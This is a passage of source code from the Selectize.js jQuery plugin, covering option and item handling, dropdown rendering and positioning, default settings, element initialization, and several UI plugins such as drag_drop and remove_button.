			var $item, $item_new;
			var value_new, index_item, cache_items, cache_options, order_old;

			value     = hash_key(value);
			value_new = hash_key(data[self.settings.valueField]);

			// sanity checks
			if (value === null) return;
			if (!self.options.hasOwnProperty(value)) return;
			if (typeof value_new !== 'string') throw new Error('Value must be set in option data');

			order_old = self.options[value].$order;

			// update references
			if (value_new !== value) {
				delete self.options[value];
				index_item = self.items.indexOf(value);
				if (index_item !== -1) {
					self.items.splice(index_item, 1, value_new);
				}
			}
			data.$order = data.$order || order_old;
			self.options[value_new] = data;

			// invalidate render cache
			cache_items = self.renderCache['item'];
			cache_options = self.renderCache['option'];

			if (cache_items) {
				delete cache_items[value];
				delete cache_items[value_new];
			}
			if (cache_options) {
				delete cache_options[value];
				delete cache_options[value_new];
			}

			// update the item if it's selected
			if (self.items.indexOf(value_new) !== -1) {
				$item = self.getItem(value);
				$item_new = $(self.render('item', data));
				if ($item.hasClass('active')) $item_new.addClass('active');
				$item.replaceWith($item_new);
			}

			// invalidate last query because we might have updated the sortField
			self.lastQuery = null;

			// update dropdown contents
			if (self.isOpen) {
				self.refreshOptions(false);
			}
		},

		/**
		 * Removes a single option.
		 *
		 * @param {string} value
		 * @param {boolean} silent
		 */
		removeOption: function(value, silent) {
			var self = this;
			value = hash_key(value);

			var cache_items = self.renderCache['item'];
			var cache_options = self.renderCache['option'];
			if (cache_items) delete cache_items[value];
			if (cache_options) delete cache_options[value];

			delete self.userOptions[value];
			delete self.options[value];
			self.lastQuery = null;
			self.trigger('option_remove', value);
			self.removeItem(value, silent);
		},

		/**
		 * Clears all options.
		 */
		clearOptions: function() {
			var self = this;

			self.loadedSearches = {};
			self.userOptions = {};
			self.renderCache = {};
			self.options = self.sifter.items = {};
			self.lastQuery = null;
			self.trigger('option_clear');
			self.clear();
		},

		/**
		 * Returns the jQuery element of the option
		 * matching the given value.
		 *
		 * @param {string} value
		 * @returns {object}
		 */
		getOption: function(value) {
			return this.getElementWithValue(value, this.$dropdown_content.find('[data-selectable]'));
		},

		/**
		 * Returns the jQuery element of the next or
		 * previous selectable option.
		 *
		 * @param {object} $option
		 * @param {int} direction  can be 1 for next or -1 for previous
		 * @return {object}
		 */
		getAdjacentOption: function($option, direction) {
			var $options = this.$dropdown.find('[data-selectable]');
			var index    = $options.index($option) + direction;

			return index >= 0 && index < $options.length ? $options.eq(index) : $();
		},

		/**
		 * Finds the first element with a "data-value" attribute
		 * that matches the given value.
		 *
		 * @param {mixed} value
		 * @param {object} $els
		 * @return {object}
		 */
		getElementWithValue: function(value, $els) {
			value = hash_key(value);

			if (typeof value !== 'undefined' && value !== null) {
				for (var i = 0, n = $els.length; i < n; i++) {
					if ($els[i].getAttribute('data-value') === value) {
						return $($els[i]);
					}
				}
			}

			return $();
		},

		/**
		 * Returns the jQuery element of the item
		 * matching the given value.
		 *
		 * @param {string} value
		 * @returns {object}
		 */
		getItem: function(value) {
			return this.getElementWithValue(value, this.$control.children());
		},

		/**
		 * "Selects" multiple items at once. Adds them to the list
		 * at the current caret position.
		 *
		 * @param {string} value
		 * @param {boolean} silent
		 */
		addItems: function(values, silent) {
			var items = $.isArray(values) ? values : [values];
			for (var i = 0, n = items.length; i < n; i++) {
				this.isPending = (i < n - 1);
				this.addItem(items[i], silent);
			}
		},

		/**
		 * "Selects" an item. Adds it to the list
		 * at the current caret position.
		 *
		 * @param {string} value
		 * @param {boolean} silent
		 */
		addItem: function(value, silent) {
			var events = silent ? [] : ['change'];

			debounce_events(this, events, function() {
				var $item, $option, $options;
				var self = this;
				var inputMode = self.settings.mode;
				var i, active, value_next, wasFull;
				value = hash_key(value);

				if (self.items.indexOf(value) !== -1) {
					if (inputMode === 'single') self.close();
					return;
				}

				if (!self.options.hasOwnProperty(value)) return;
				if (inputMode === 'single') self.clear(silent);
				if (inputMode === 'multi' && self.isFull()) return;

				$item = $(self.render('item', self.options[value]));
				wasFull = self.isFull();
				self.items.splice(self.caretPos, 0, value);
				self.insertAtCaret($item);
				if (!self.isPending || (!wasFull && self.isFull())) {
					self.refreshState();
				}

				if (self.isSetup) {
					$options = self.$dropdown_content.find('[data-selectable]');

					// update menu / remove the option (if this is not one item being added as part of series)
					if (!self.isPending) {
						$option = self.getOption(value);
						value_next = self.getAdjacentOption($option, 1).attr('data-value');
						self.refreshOptions(self.isFocused && inputMode !== 'single');
						if (value_next) {
							self.setActiveOption(self.getOption(value_next));
						}
					}

					// hide the menu if the maximum number of items have been selected or no options are left
					if (!$options.length || self.isFull()) {
						self.close();
					} else {
						self.positionDropdown();
					}

					self.updatePlaceholder();
					self.trigger('item_add', value, $item);
					self.updateOriginalInput({silent: silent});
				}
			});
		},

		/**
		 * Removes the selected item matching
		 * the provided value.
		 *
		 * @param {string} value
		 */
		removeItem: function(value, silent) {
			var self = this;
			var $item, i, idx;

			$item = (value instanceof $) ? value : self.getItem(value);
			value = hash_key($item.attr('data-value'));
			i = self.items.indexOf(value);

			if (i !== -1) {
				$item.remove();
				if ($item.hasClass('active')) {
					idx = self.$activeItems.indexOf($item[0]);
					self.$activeItems.splice(idx, 1);
				}

				self.items.splice(i, 1);
				self.lastQuery = null;
				if (!self.settings.persist && self.userOptions.hasOwnProperty(value)) {
					self.removeOption(value, silent);
				}

				if (i < self.caretPos) {
					self.setCaret(self.caretPos - 1);
				}

				self.refreshState();
				self.updatePlaceholder();
				self.updateOriginalInput({silent: silent});
				self.positionDropdown();
				self.trigger('item_remove', value, $item);
			}
		},

		/**
		 * Invokes the `create` method provided in the
		 * selectize options that should provide the data
		 * for the new item, given the user input.
		 *
		 * Once this completes, it will be added
		 * to the item list.
		 *
		 * @param {string} value
		 * @param {boolean} [triggerDropdown]
		 * @param {function} [callback]
		 * @return {boolean}
		 */
		createItem: function(input, triggerDropdown) {
			var self  = this;
			var caret = self.caretPos;
			input = input || $.trim(self.$control_input.val() || '');

			var callback = arguments[arguments.length - 1];
			if (typeof callback !== 'function') callback = function() {};

			if (typeof triggerDropdown !== 'boolean') {
				triggerDropdown = true;
			}

			if (!self.canCreate(input)) {
				callback();
				return false;
			}

			self.lock();

			var setup = (typeof self.settings.create === 'function') ? this.settings.create : function(input) {
				var data = {};
				data[self.settings.labelField] = input;
				data[self.settings.valueField] = input;
				return data;
			};

			var create = once(function(data) {
				self.unlock();

				if (!data || typeof data !== 'object') return callback();
				var value = hash_key(data[self.settings.valueField]);
				if (typeof value !== 'string') return callback();

				self.setTextboxValue('');
				self.addOption(data);
				self.setCaret(caret);
				self.addItem(value);
				self.refreshOptions(triggerDropdown && self.settings.mode !== 'single');
				callback(data);
			});

			var output = setup.apply(this, [input, create]);
			if (typeof output !== 'undefined') {
				create(output);
			}

			return true;
		},

		/**
		 * Re-renders the selected item lists.
		 */
		refreshItems: function() {
			this.lastQuery = null;

			if (this.isSetup) {
				this.addItem(this.items);
			}

			this.refreshState();
			this.updateOriginalInput();
		},

		/**
		 * Updates all state-dependent attributes
		 * and CSS classes.
		 */
		refreshState: function() {
			var invalid, self = this;
			if (self.isRequired) {
				if (self.items.length) self.isInvalid = false;
				self.$control_input.prop('required', invalid);
			}
			self.refreshClasses();
		},

		/**
		 * Updates all state-dependent CSS classes.
		 */
		refreshClasses: function() {
			var self     = this;
			var isFull   = self.isFull();
			var isLocked = self.isLocked;

			self.$wrapper
					.toggleClass('rtl', self.rtl);

			self.$control
					.toggleClass('focus', self.isFocused)
					.toggleClass('disabled', self.isDisabled)
					.toggleClass('required', self.isRequired)
					.toggleClass('invalid', self.isInvalid)
					.toggleClass('locked', isLocked)
					.toggleClass('full', isFull).toggleClass('not-full', !isFull)
					.toggleClass('input-active', self.isFocused && !self.isInputHidden)
					.toggleClass('dropdown-active', self.isOpen)
					.toggleClass('has-options', !$.isEmptyObject(self.options))
					.toggleClass('has-items', self.items.length > 0);

			self.$control_input.data('grow', !isFull && !isLocked);
		},

		/**
		 * Determines whether or not more items can be added
		 * to the control without exceeding the user-defined maximum.
		 *
		 * @returns {boolean}
		 */
		isFull: function() {
			return this.settings.maxItems !== null && this.items.length >= this.settings.maxItems;
		},

		/**
		 * Refreshes the original <select> or <input>
		 * element to reflect the current state.
		 */
		updateOriginalInput: function(opts) {
			var i, n, options, label, self = this;
			opts = opts || {};

			if (self.tagType === TAG_SELECT) {
				options = [];
				for (i = 0, n = self.items.length; i < n; i++) {
					label = self.options[self.items[i]][self.settings.labelField] || '';
					options.push('<option value="' + escape_html(self.items[i]) + '" selected="selected">' + escape_html(label) + '</option>');
				}
				if (!options.length && !this.$input.attr('multiple')) {
					options.push('<option value="" selected="selected"></option>');
				}
				self.$input.html(options.join(''));
			} else {
				self.$input.val(self.getValue());
				self.$input.attr('value',self.$input.val());
			}

			if (self.isSetup) {
				if (!opts.silent) {
					self.trigger('change', self.$input.val());
				}
			}
		},

		/**
		 * Shows/hide the input placeholder depending
		 * on if there items in the list already.
		 */
		updatePlaceholder: function() {
			if (!this.settings.placeholder) return;
			var $input = this.$control_input;

			if (this.items.length) {
				$input.removeAttr('placeholder');
			} else {
				$input.attr('placeholder', this.settings.placeholder);
			}
			$input.triggerHandler('update', {force: true});
		},

		/**
		 * Shows the autocomplete dropdown containing
		 * the available options.
		 */
		open: function() {
			var self = this;

			if (self.isLocked || self.isOpen || (self.settings.mode === 'multi' && self.isFull())) return;
			self.focus();
			self.isOpen = true;
			self.refreshState();
			self.$dropdown.css({visibility: 'hidden', display: 'block'});
			self.positionDropdown();
			self.$dropdown.css({visibility: 'visible'});
			self.trigger('dropdown_open', self.$dropdown);
		},

		/**
		 * Closes the autocomplete dropdown menu.
		 */
		close: function() {
			var self = this;
			var trigger = self.isOpen;

			if (self.settings.mode === 'single' && self.items.length) {
				self.hideInput();
			}

			self.isOpen = false;
			self.$dropdown.hide();
			self.setActiveOption(null);
			self.refreshState();

			if (trigger) self.trigger('dropdown_close', self.$dropdown);
		},

		/**
		 * Calculates and applies the appropriate
		 * position of the dropdown.
		 */
		positionDropdown: function() {
			var $control = this.$control;
			var offset = this.settings.dropdownParent === 'body' ? $control.offset() : $control.position();
			offset.top += $control.outerHeight(true);

			this.$dropdown.css({
				width : $control.outerWidth(),
				top   : offset.top,
				left  : offset.left
			});
		},

		/**
		 * Resets / clears all selected items
		 * from the control.
		 *
		 * @param {boolean} silent
		 */
		clear: function(silent) {
			var self = this;

			if (!self.items.length) return;
			self.$control.children(':not(input)').remove();
			self.items = [];
			self.lastQuery = null;
			self.setCaret(0);
			self.setActiveItem(null);
			self.updatePlaceholder();
			self.updateOriginalInput({silent: silent});
			self.refreshState();
			self.showInput();
			self.trigger('clear');
		},

		/**
		 * A helper method for inserting an element
		 * at the current caret position.
		 *
		 * @param {object} $el
		 */
		insertAtCaret: function($el) {
			var caret = Math.min(this.caretPos, this.items.length);
			if (caret === 0) {
				this.$control.prepend($el);
			} else {
				$(this.$control[0].childNodes[caret]).before($el);
			}
			this.setCaret(caret + 1);
		},

		/**
		 * Removes the current selected item(s).
		 *
		 * @param {object} e (optional)
		 * @returns {boolean}
		 */
		deleteSelection: function(e) {
			var i, n, direction, selection, values, caret, option_select, $option_select, $tail;
			var self = this;

			direction = (e && e.keyCode === KEY_BACKSPACE) ? -1 : 1;
			selection = getSelection(self.$control_input[0]);

			if (self.$activeOption && !self.settings.hideSelected) {
				option_select = self.getAdjacentOption(self.$activeOption, -1).attr('data-value');
			}

			// determine items that will be removed
			values = [];

			if (self.$activeItems.length) {
				$tail = self.$control.children('.active:' + (direction > 0 ? 'last' : 'first'));
				caret = self.$control.children(':not(input)').index($tail);
				if (direction > 0) { caret++; }

				for (i = 0, n = self.$activeItems.length; i < n; i++) {
					values.push($(self.$activeItems[i]).attr('data-value'));
				}
				if (e) {
					e.preventDefault();
					e.stopPropagation();
				}
			} else if ((self.isFocused || self.settings.mode === 'single') && self.items.length) {
				if (direction < 0 && selection.start === 0 && selection.length === 0) {
					values.push(self.items[self.caretPos - 1]);
				} else if (direction > 0 && selection.start === self.$control_input.val().length) {
					values.push(self.items[self.caretPos]);
				}
			}

			// allow the callback to abort
			if (!values.length || (typeof self.settings.onDelete === 'function' && self.settings.onDelete.apply(self, [values]) === false)) {
				return false;
			}

			// perform removal
			if (typeof caret !== 'undefined') {
				self.setCaret(caret);
			}
			while (values.length) {
				self.removeItem(values.pop());
			}

			self.showInput();
			self.positionDropdown();
			self.refreshOptions(true);

			// select previous option
			if (option_select) {
				$option_select = self.getOption(option_select);
				if ($option_select.length) {
					self.setActiveOption($option_select);
				}
			}

			return true;
		},

		/**
		 * Selects the previous / next item (depending
		 * on the `direction` argument).
		 *
		 * > 0 - right
		 * < 0 - left
		 *
		 * @param {int} direction
		 * @param {object} e (optional)
		 */
		advanceSelection: function(direction, e) {
			var tail, selection, idx, valueLength, cursorAtEdge, $tail;
			var self = this;

			if (direction === 0) return;
			if (self.rtl) direction *= -1;

			tail = direction > 0 ? 'last' : 'first';
			selection = getSelection(self.$control_input[0]);

			if (self.isFocused && !self.isInputHidden) {
				valueLength = self.$control_input.val().length;
				cursorAtEdge = direction < 0
						? selection.start === 0 && selection.length === 0
						: selection.start === valueLength;

				if (cursorAtEdge && !valueLength) {
					self.advanceCaret(direction, e);
				}
			} else {
				$tail = self.$control.children('.active:' + tail);
				if ($tail.length) {
					idx = self.$control.children(':not(input)').index($tail);
					self.setActiveItem(null);
					self.setCaret(direction > 0 ? idx + 1 : idx);
				}
			}
		},

		/**
		 * Moves the caret left / right.
		 *
		 * @param {int} direction
		 * @param {object} e (optional)
		 */
		advanceCaret: function(direction, e) {
			var self = this, fn, $adj;

			if (direction === 0) return;

			fn = direction > 0 ? 'next' : 'prev';
			if (self.isShiftDown) {
				$adj = self.$control_input[fn]();
				if ($adj.length) {
					self.hideInput();
					self.setActiveItem($adj);
					e && e.preventDefault();
				}
			} else {
				self.setCaret(self.caretPos + direction);
			}
		},

		/**
		 * Moves the caret to the specified index.
		 *
		 * @param {int} i
		 */
		setCaret: function(i) {
			var self = this;

			if (self.settings.mode === 'single') {
				i = self.items.length;
			} else {
				i = Math.max(0, Math.min(self.items.length, i));
			}

			if(!self.isPending) {
				// the input must be moved by leaving it in place and moving the
				// siblings, due to the fact that focus cannot be restored once lost
				// on mobile webkit devices
				var j, n, fn, $children, $child;
				$children = self.$control.children(':not(input)');
				for (j = 0, n = $children.length; j < n; j++) {
					$child = $($children[j]).detach();
					if (j <  i) {
						self.$control_input.before($child);
					} else {
						self.$control.append($child);
					}
				}
			}

			self.caretPos = i;
		},

		/**
		 * Disables user input on the control. Used while
		 * items are being asynchronously created.
		 */
		lock: function() {
			this.close();
			this.isLocked = true;
			this.refreshState();
		},

		/**
		 * Re-enables user input on the control.
		 */
		unlock: function() {
			this.isLocked = false;
			this.refreshState();
		},

		/**
		 * Disables user input on the control completely.
		 * While disabled, it cannot receive focus.
		 */
		disable: function() {
			var self = this;
			self.$input.prop('disabled', true);
			self.$control_input.prop('disabled', true).prop('tabindex', -1);
			self.isDisabled = true;
			self.lock();
		},

		/**
		 * Enables the control so that it can respond
		 * to focus and user input.
		 */
		enable: function() {
			var self = this;
			self.$input.prop('disabled', false);
			self.$control_input.prop('disabled', false).prop('tabindex', self.tabIndex);
			self.isDisabled = false;
			self.unlock();
		},

		/**
		 * Completely destroys the control and
		 * unbinds all event listeners so that it can
		 * be garbage collected.
		 */
		destroy: function() {
			var self = this;
			var eventNS = self.eventNS;
			var revertSettings = self.revertSettings;

			self.trigger('destroy');
			self.off();
			self.$wrapper.remove();
			self.$dropdown.remove();

			self.$input
					.html('')
					.append(revertSettings.$children)
					.removeAttr('tabindex')
					.removeClass('selectized')
					.attr({tabindex: revertSettings.tabindex})
					.show();

			self.$control_input.removeData('grow');
			self.$input.removeData('selectize');

			$(window).off(eventNS);
			$(document).off(eventNS);
			$(document.body).off(eventNS);

			delete self.$input[0].selectize;
		},

		/**
		 * A helper method for rendering "item" and
		 * "option" templates, given the data.
		 *
		 * @param {string} templateName
		 * @param {object} data
		 * @returns {string}
		 */
		render: function(templateName, data) {
			var value, id, label;
			var html = '';
			var cache = false;
			var self = this;
			var regex_tag = /^[\t \r\n]*<([a-z][a-z0-9\-_]*(?:\:[a-z][a-z0-9\-_]*)?)/i;

			if (templateName === 'option' || templateName === 'item') {
				value = hash_key(data[self.settings.valueField]);
				cache = !!value;
			}

			// pull markup from cache if it exists
			if (cache) {
				if (!isset(self.renderCache[templateName])) {
					self.renderCache[templateName] = {};
				}
				if (self.renderCache[templateName].hasOwnProperty(value)) {
					return self.renderCache[templateName][value];
				}
			}

			// render markup
			html = $(self.settings.render[templateName].apply(this, [data, escape_html]));

			// add mandatory attributes
			if (templateName === 'option' || templateName === 'option_create') {
				html.attr('data-selectable', '');
			}
			else if (templateName === 'optgroup') {
				id = data[self.settings.optgroupValueField] || '';
				html.attr('data-group', id);
			}
			if (templateName === 'option' || templateName === 'item') {
				html.attr('data-value', value || '');
			}

			// update cache
			if (cache) {
				self.renderCache[templateName][value] = html[0];
			}

			return html[0];
		},

		/**
		 * Clears the render cache for a template. If
		 * no template is given, clears all render
		 * caches.
		 *
		 * @param {string} templateName
		 */
		clearCache: function(templateName) {
			var self = this;
			if (typeof templateName === 'undefined') {
				self.renderCache = {};
			} else {
				delete self.renderCache[templateName];
			}
		},

		/**
		 * Determines whether or not to display the
		 * create item prompt, given a user input.
		 *
		 * @param {string} input
		 * @return {boolean}
		 */
		canCreate: function(input) {
			var self = this;
			if (!self.settings.create) return false;
			var filter = self.settings.createFilter;
			return input.length
					&& (typeof filter !== 'function' || filter.apply(self, [input]))
					&& (typeof filter !== 'string' || new RegExp(filter).test(input))
					&& (!(filter instanceof RegExp) || filter.test(input));
		}

	});


	Selectize.count = 0;
	Selectize.defaults = {
		options: [],
		optgroups: [],

		plugins: [],
		delimiter: ',',
		splitOn: null, // regexp or string for splitting up values from a paste command
		persist: true,
		diacritics: true,
		create: false,
		createOnBlur: false,
		createFilter: null,
		highlight: true,
		openOnFocus: true,
		maxOptions: 1000,
		maxItems: null,
		hideSelected: null,
		addPrecedence: false,
		selectOnTab: false,
		preload: false,
		allowEmptyOption: false,
		closeAfterSelect: false,

		scrollDuration: 60,
		loadThrottle: 300,
		loadingClass: 'loading',

		dataAttr: 'data-data',
		optgroupField: 'optgroup',
		valueField: 'value',
		labelField: 'text',
		optgroupLabelField: 'label',
		optgroupValueField: 'value',
		lockOptgroupOrder: false,

		sortField: '$order',
		searchField: ['text'],
		searchConjunction: 'and',

		mode: null,
		wrapperClass: 'selectize-control',
		inputClass: 'selectize-input',
		dropdownClass: 'selectize-dropdown',
		dropdownContentClass: 'selectize-dropdown-content',

		dropdownParent: null,

		copyClassesToDropdown: true,

		/*
		 load                 : null, // function(query, callback) { ... }
		 score                : null, // function(search) { ... }
		 onInitialize         : null, // function() { ... }
		 onChange             : null, // function(value) { ... }
		 onItemAdd            : null, // function(value, $item) { ... }
		 onItemRemove         : null, // function(value) { ... }
		 onClear              : null, // function() { ... }
		 onOptionAdd          : null, // function(value, data) { ... }
		 onOptionRemove       : null, // function(value) { ... }
		 onOptionClear        : null, // function() { ... }
		 onOptionGroupAdd     : null, // function(id, data) { ... }
		 onOptionGroupRemove  : null, // function(id) { ... }
		 onOptionGroupClear   : null, // function() { ... }
		 onDropdownOpen       : null, // function($dropdown) { ... }
		 onDropdownClose      : null, // function($dropdown) { ... }
		 onType               : null, // function(str) { ... }
		 onDelete             : null, // function(values) { ... }
		 */

		render: {
			/*
			 item: null,
			 optgroup: null,
			 optgroup_header: null,
			 option: null,
			 option_create: null
			 */
		}
	};


	$.fn.selectize = function(settings_user) {
		var defaults             = $.fn.selectize.defaults;
		var settings             = $.extend({}, defaults, settings_user);
		var attr_data            = settings.dataAttr;
		var field_label          = settings.labelField;
		var field_value          = settings.valueField;
		var field_optgroup       = settings.optgroupField;
		var field_optgroup_label = settings.optgroupLabelField;
		var field_optgroup_value = settings.optgroupValueField;

		/**
		 * Initializes selectize from a <input type="text"> element.
		 *
		 * @param {object} $input
		 * @param {object} settings_element
		 */
		var init_textbox = function($input, settings_element) {
			var i, n, values, option;

			var data_raw = $input.attr(attr_data);

			if (!data_raw) {
				var value = $.trim($input.val() || '');
				if (!settings.allowEmptyOption && !value.length) return;
				values = value.split(settings.delimiter);
				for (i = 0, n = values.length; i < n; i++) {
					option = {};
					option[field_label] = values[i];
					option[field_value] = values[i];
					settings_element.options.push(option);
				}
				settings_element.items = values;
			} else {
				settings_element.options = JSON.parse(data_raw);
				for (i = 0, n = settings_element.options.length; i < n; i++) {
					settings_element.items.push(settings_element.options[i][field_value]);
				}
			}
		};

		/**
		 * Initializes selectize from a <select> element.
		 *
		 * @param {object} $input
		 * @param {object} settings_element
		 */
		var init_select = function($input, settings_element) {
			var i, n, tagName, $children, order = 0;
			var options = settings_element.options;
			var optionsMap = {};

			var readData = function($el) {
				var data = attr_data && $el.attr(attr_data);
				if (typeof data === 'string' && data.length) {
					return JSON.parse(data);
				}
				return null;
			};

			var addOption = function($option, group) {
				$option = $($option);

				var value = hash_key($option.val());
				if (!value && !settings.allowEmptyOption) return;

				// if the option already exists, it's probably been
				// duplicated in another optgroup. in this case, push
				// the current group to the "optgroup" property on the
				// existing option so that it's rendered in both places.
				if (optionsMap.hasOwnProperty(value)) {
					if (group) {
						var arr = optionsMap[value][field_optgroup];
						if (!arr) {
							optionsMap[value][field_optgroup] = group;
						} else if (!$.isArray(arr)) {
							optionsMap[value][field_optgroup] = [arr, group];
						} else {
							arr.push(group);
						}
					}
					return;
				}

				var option             = readData($option) || {};
				option[field_label]    = option[field_label] || $option.text();
				option[field_value]    = option[field_value] || value;
				option[field_optgroup] = option[field_optgroup] || group;

				optionsMap[value] = option;
				options.push(option);

				if ($option.is(':selected')) {
					settings_element.items.push(value);
				}
			};

			var addGroup = function($optgroup) {
				var i, n, id, optgroup, $options;

				$optgroup = $($optgroup);
				id = $optgroup.attr('label');

				if (id) {
					optgroup = readData($optgroup) || {};
					optgroup[field_optgroup_label] = id;
					optgroup[field_optgroup_value] = id;
					settings_element.optgroups.push(optgroup);
				}

				$options = $('option', $optgroup);
				for (i = 0, n = $options.length; i < n; i++) {
					addOption($options[i], id);
				}
			};

			settings_element.maxItems = $input.attr('multiple') ? null : 1;

			$children = $input.children();
			for (i = 0, n = $children.length; i < n; i++) {
				tagName = $children[i].tagName.toLowerCase();
				if (tagName === 'optgroup') {
					addGroup($children[i]);
				} else if (tagName === 'option') {
					addOption($children[i]);
				}
			}
		};

		return this.each(function() {
			if (this.selectize) return;

			var instance;
			var $input = $(this);
			var tag_name = this.tagName.toLowerCase();
			var placeholder = $input.attr('placeholder') || $input.attr('data-placeholder');
			if (!placeholder && !settings.allowEmptyOption) {
				placeholder = $input.children('option[value=""]').text();
			}

			var settings_element = {
				'placeholder' : placeholder,
				'options'     : [],
				'optgroups'   : [],
				'items'       : []
			};

			if (tag_name === 'select') {
				init_select($input, settings_element);
			} else {
				init_textbox($input, settings_element);
			}

			instance = new Selectize($input, $.extend(true, {}, defaults, settings_element, settings_user));
		});
	};

	$.fn.selectize.defaults = Selectize.defaults;
	$.fn.selectize.support = {
		validity: SUPPORTS_VALIDITY_API
	};


	Selectize.define('drag_drop', function(options) {
		if (!$.fn.sortable) throw new Error('The "drag_drop" plugin requires jQuery UI "sortable".');
		if (this.settings.mode !== 'multi') return;
		var self = this;

		self.lock = (function() {
			var original = self.lock;
			return function() {
				var sortable = self.$control.data('sortable');
				if (sortable) sortable.disable();
				return original.apply(self, arguments);
			};
		})();

		self.unlock = (function() {
			var original = self.unlock;
			return function() {
				var sortable = self.$control.data('sortable');
				if (sortable) sortable.enable();
				return original.apply(self, arguments);
			};
		})();

		self.setup = (function() {
			var original = self.setup;
			return function() {
				original.apply(this, arguments);

				var $control = self.$control.sortable({
					items: '[data-value]',
					forcePlaceholderSize: true,
					disabled: self.isLocked,
					start: function(e, ui) {
						ui.placeholder.css('width', ui.helper.css('width'));
						$control.css({overflow: 'visible'});
					},
					stop: function() {
						$control.css({overflow: 'hidden'});
						var active = self.$activeItems ? self.$activeItems.slice() : null;
						var values = [];
						$control.children('[data-value]').each(function() {
							values.push($(this).attr('data-value'));
						});
						self.setValue(values);
						self.setActiveItem(active);
					}
				});
			};
		})();

	});

	Selectize.define('dropdown_header', function(options) {
		var self = this;

		options = $.extend({
			title         : 'Untitled',
			headerClass   : 'selectize-dropdown-header',
			titleRowClass : 'selectize-dropdown-header-title',
			labelClass    : 'selectize-dropdown-header-label',
			closeClass    : 'selectize-dropdown-header-close',

			html: function(data) {
				return (
						'<div class="' + data.headerClass + '">' +
						'<div class="' + data.titleRowClass + '">' +
						'<span class="' + data.labelClass + '">' + data.title + '</span>' +
						'<a href="javascript:void(0)" class="' + data.closeClass + '">&times;</a>' +
						'</div>' +
						'</div>'
				);
			}
		}, options);

		self.setup = (function() {
			var original = self.setup;
			return function() {
				original.apply(self, arguments);
				self.$dropdown_header = $(options.html(options));
				self.$dropdown.prepend(self.$dropdown_header);
			};
		})();

	});

	Selectize.define('optgroup_columns', function(options) {
		var self = this;

		options = $.extend({
			equalizeWidth  : true,
			equalizeHeight : true
		}, options);

		this.getAdjacentOption = function($option, direction) {
			var $options = $option.closest('[data-group]').find('[data-selectable]');
			var index    = $options.index($option) + direction;

			return index >= 0 && index < $options.length ? $options.eq(index) : $();
		};

		this.onKeyDown = (function() {
			var original = self.onKeyDown;
			return function(e) {
				var index, $option, $options, $optgroup;

				if (this.isOpen && (e.keyCode === KEY_LEFT || e.keyCode === KEY_RIGHT)) {
					self.ignoreHover = true;
					$optgroup = this.$activeOption.closest('[data-group]');
					index = $optgroup.find('[data-selectable]').index(this.$activeOption);

					if(e.keyCode === KEY_LEFT) {
						$optgroup = $optgroup.prev('[data-group]');
					} else {
						$optgroup = $optgroup.next('[data-group]');
					}

					$options = $optgroup.find('[data-selectable]');
					$option  = $options.eq(Math.min($options.length - 1, index));
					if ($option.length) {
						this.setActiveOption($option);
					}
					return;
				}

				return original.apply(this, arguments);
			};
		})();

		var getScrollbarWidth = function() {
			var div;
			var width = getScrollbarWidth.width;
			var doc = document;

			if (typeof width === 'undefined') {
				div = doc.createElement('div');
				div.innerHTML = '<div style="width:50px;height:50px;position:absolute;left:-50px;top:-50px;overflow:auto;"><div style="width:1px;height:100px;"></div></div>';
				div = div.firstChild;
				doc.body.appendChild(div);
				width = getScrollbarWidth.width = div.offsetWidth - div.clientWidth;
				doc.body.removeChild(div);
			}
			return width;
		};

		var equalizeSizes = function() {
			var i, n, height_max, width, width_last, width_parent, $optgroups;

			$optgroups = $('[data-group]', self.$dropdown_content);
			n = $optgroups.length;
			if (!n || !self.$dropdown_content.width()) return;

			if (options.equalizeHeight) {
				height_max = 0;
				for (i = 0; i < n; i++) {
					height_max = Math.max(height_max, $optgroups.eq(i).height());
				}
				$optgroups.css({height: height_max});
			}

			if (options.equalizeWidth) {
				width_parent = self.$dropdown_content.innerWidth() - getScrollbarWidth();
				width = Math.round(width_parent / n);
				$optgroups.css({width: width});
				if (n > 1) {
					width_last = width_parent - width * (n - 1);
					$optgroups.eq(n - 1).css({width: width_last});
				}
			}
		};

		if (options.equalizeHeight || options.equalizeWidth) {
			hook.after(this, 'positionDropdown', equalizeSizes);
			hook.after(this, 'refreshOptions', equalizeSizes);
		}


	});

	Selectize.define('remove_button', function(options) {
		options = $.extend({
			label     : '&times;',
			title     : 'Remove',
			className : 'remove',
			append    : true
		}, options);

		var singleClose = function(thisRef, options) {

			options.className = 'remove-single';

			var self = thisRef;
			var html = '<a href="javascript:void(0)" class="' + options.className + '" tabindex="-1" title="' + escape_html(options.title) + '">' + options.label + '</a>';

			/**
			 * Appends an element as a child (with raw HTML).
			 *
			 * @param {string} html_container
			 * @param {string} html_element
			 * @return {string}
			 */
			var append = function(html_container, html_element) {
				return html_container + html_element;
			};

			thisRef.setup = (function() {
				var original = self.setup;
				return function() {
					// override the item rendering method to add the button to each
					if (options.append) {
						var id = $(self.$input.context).attr('id');
						var selectizer = $('#'+id);

						var render_item = self.settings.render.item;
						self.settings.render.item = function(data) {
							return append(render_item.apply(thisRef, arguments), html);
						};
					}

					original.apply(thisRef, arguments);

					// add event listener
					thisRef.$control.on('click', '.' + options.className, function(e) {
						e.preventDefault();
						if (self.isLocked) return;

						self.clear();
					});

				};
			})();
		};

		var multiClose = function(thisRef, options) {

			var self = thisRef;
			var html = '<a href="javascript:void(0)" class="' + options.className + '" tabindex="-1" title="' + escape_html(options.title) + '">' + options.label + '</a>';

			/**
			 * Appends an element as a child (with raw HTML).
			 *
			 * @param {string} html_container
			 * @param {string} html_element
			 * @return {string}
			 */
			var append = function(html_container, html_element) {
				var pos = html_container.search(/(<\/[^>]+>\s*)$/);
				return html_container.substring(0, pos) + html_element + html_container.substring(pos);
			};

			thisRef.setup = (function() {
				var original = self.setup;
				return function() {
					// override the item rendering method to add the button to each
					if (options.append) {
						var render_item = self.settings.render.item;
						self.settings.render.item = function(data) {
							return append(render_item.apply(thisRef, arguments), html);
						};
					}

					original.apply(thisRef, arguments);

					// add event listener
					thisRef.$control.on('click', '.' + options.className, function(e) {
						e.preventDefault();
						if (self.isLocked) return;

						var $item = $(e.currentTarget).parent();
						self.setActiveItem($item);
						if (self.deleteSelection()) {
							self.setCaret(self.items.length);
						}
					});

				};
			})();
		};

		if (this.settings.mode === 'single') {
			singleClose(this, options);
			return;
		} else {
			multiClose(this, options);
		}
	});


	Selectize.define('restore_on_backspace', function(options) {
		var self = this;

		options.text = options.text || function(option) {
					return option[this.settings.labelField];
				};

		this.onKeyDown = (function() {
			var original = self.onKeyDown;
			return function(e) {
				var index, option;
				if (e.keyCode === KEY_BACKSPACE && this.$control_input.val() === '' && !this.$activeItems.length) {
